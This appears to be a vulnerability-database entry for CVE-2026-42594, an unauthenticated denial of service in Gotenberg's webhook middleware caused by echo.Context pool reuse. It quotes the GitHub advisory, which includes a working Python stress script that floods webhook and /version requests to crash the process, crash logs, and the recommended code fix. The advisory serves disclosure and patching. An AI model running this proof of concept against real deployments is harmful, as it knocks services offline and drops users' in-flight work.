CVE-2026-42594
highPriorität · verfolgen · 0EPSS 0.004 · 30. PerzentilEUUSEPSS · bewertet 2026-10-24
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.
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- GHSA-r33j-c622-r6qpGotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine2026-05-07ghsa · osvUS
## Summary The webhook middleware spawns a goroutine that holds a reference to the request's `echo.Context` after the synchronous handler returns `ErrAsyncProcess` and Echo recycles the context back to its `sync.Pool`. When a concurrent request claims the recycled context, `c.Reset()` clears the store. If the webhook goroutine reaches `hardTimeoutMiddleware` at that moment, an unchecked type assertion on a nil store entry panics outside any `recover()` scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default `webhook-deny-list` filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 `GET /version` requests crashes the process in about two seconds. ## Details `pkg/modules/webhook/middleware.go:338-382` starts the async goroutine and immediately returns `api.ErrAsyncProcess` to the caller: ```go w.asyncCount.Add(1) go func() { defer cancel() defer w.asyncCount.Add(-1) err := next(c) // line 343 ... sendOutputFile(sendOutputFileParams{ ctx: ctx, ... }) }() return api.ErrAsyncProcess // line 382 ``` `pkg/modules/api/middlewares.go:356-361` sees the sentinel, responds with `204 No Content`, and lets Echo return `c` to the pool: ```go if errors.Is(err, ErrAsyncProcess) { return c.NoContent(http.StatusNoContent) } ``` Echo's router calls `c.Reset()` before serving the next request from the same goroutine pool slot, wiping `c.store`. When the webhook goroutine's `next(c)` enters `hardTimeoutMiddleware` at `pkg/modules/api/middlewares.go:396-398`, the handler dereferences the store before the new recover scope exists: ```go return func(c echo.Context) error { logger := c.Get("logger").(*slog.Logger) // line 398 ... go func() { defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here errChan <- next(c) }() ``` If a concurrent request has just acquired `c` from the pool, `c.Get("logger")` returns `nil`, and `nil.(*slog.Logger)` panics at line 398. The panic is not inside any goroutine with a `recover()`, so the Go runtime terminates the process with exit code 2. No `echo.Recover` middleware is registered (`pkg/modules/api/api.go:480-536`). `GOTRACEBACK` defaults propagate the panic to stderr and exit. ## Proof of Concept Reproduction on the stock Docker image with default configuration: ```bash docker run -d --name gotenberg-poc -p 3000:3000 \ -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error ``` Single-process stress script (Alice sends both streams, no second actor): ```python import requests, subprocess, time, json, threading TARGET = "http://localhost:3000" WEBHOOK = "http://httpbin.org/post" # passes default webhook-deny-list STOP = threading.Event() html = b"<html><body><h1>Q</h1></body></html>" def webhook_fire(): s = requests.Session() while not STOP.is_set(): try: s.post( f"{TARGET}/forms/chromium/convert/html", files={"files": ("index.html", html, "text/html")}, headers={ "Gotenberg-Webhook-Url": WEBHOOK, "Gotenberg-Webhook-Error-Url": WEBHOOK, }, timeout=15, ) except: pass def noise_fire(): s = requests.Session() while not STOP.is_set(): try: s.get(f"{TARGET}/version", timeout=2) except: pass for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start() for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start() t0 = time.time() while time.time() - t0 < 60: time.sleep(1) status = json.loads(subprocess.run( ["docker", "inspect", "gotenberg-poc"], capture_output=True, text=True, check=True).stdout)[0]["State"] if status["Status"] != "running": print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}") STOP.set() break ``` Observed output: ``` process crashed after 2.2s, exit code 2 ``` Container stderr captured with `docker logs gotenberg-poc`: ``` panic: interface conversion: interface {} is nil, not *slog.Logger goroutine 287020 [running]: /home/pkg/modules/api/middlewares.go:398 +0x2e6 /home/pkg/modules/webhook/middleware.go:343 +0xec created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2 /home/pkg/modules/webhook/middleware.go:338 +0x1176 ``` ## Impact Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (`--restart=always`, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000. ## Recommended Fix Replace the unchecked type assertion at `pkg/modules/api/middlewares.go:398` with a guarded lookup that handles the pool-reuse case: ```go logger, _ := c.Get("logger").(*slog.Logger) if logger == nil { return errors.New("context reused from pool before middleware chain populated it") } ``` Also add a `defer recover()` at the top of the webhook goroutine body at `pkg/modules/webhook/middleware.go:338` so any future panic downstream does not kill the process: ```go go func() { defer func() { if r := recover(); r != nil { ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r)) handleError(fmt.Errorf("internal error: %v", r)) } }() defer cancel() defer w.asyncCount.Add(-1) ... }() ``` A deeper fix detaches `echo.Context` from `api.Context` before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear `ctx.echoCtx` so downstream code cannot reach the pooled context. --- *Found by [aisafe.io](https://aisafe.io)*
- GO-2026-5605Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg2026-06-25vendor · osvUS
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg
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Referenzen (5)
Externe Belege — Patches, Meldungen, Analysen.
- https://access.redhat.com/security/cve/cve-2026-42594cnnvd
- https://gotenberg.dev/Patchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-42594cnnvd
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qpenisa_euvd
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qpExploitMitigationVendor Advisorynvd
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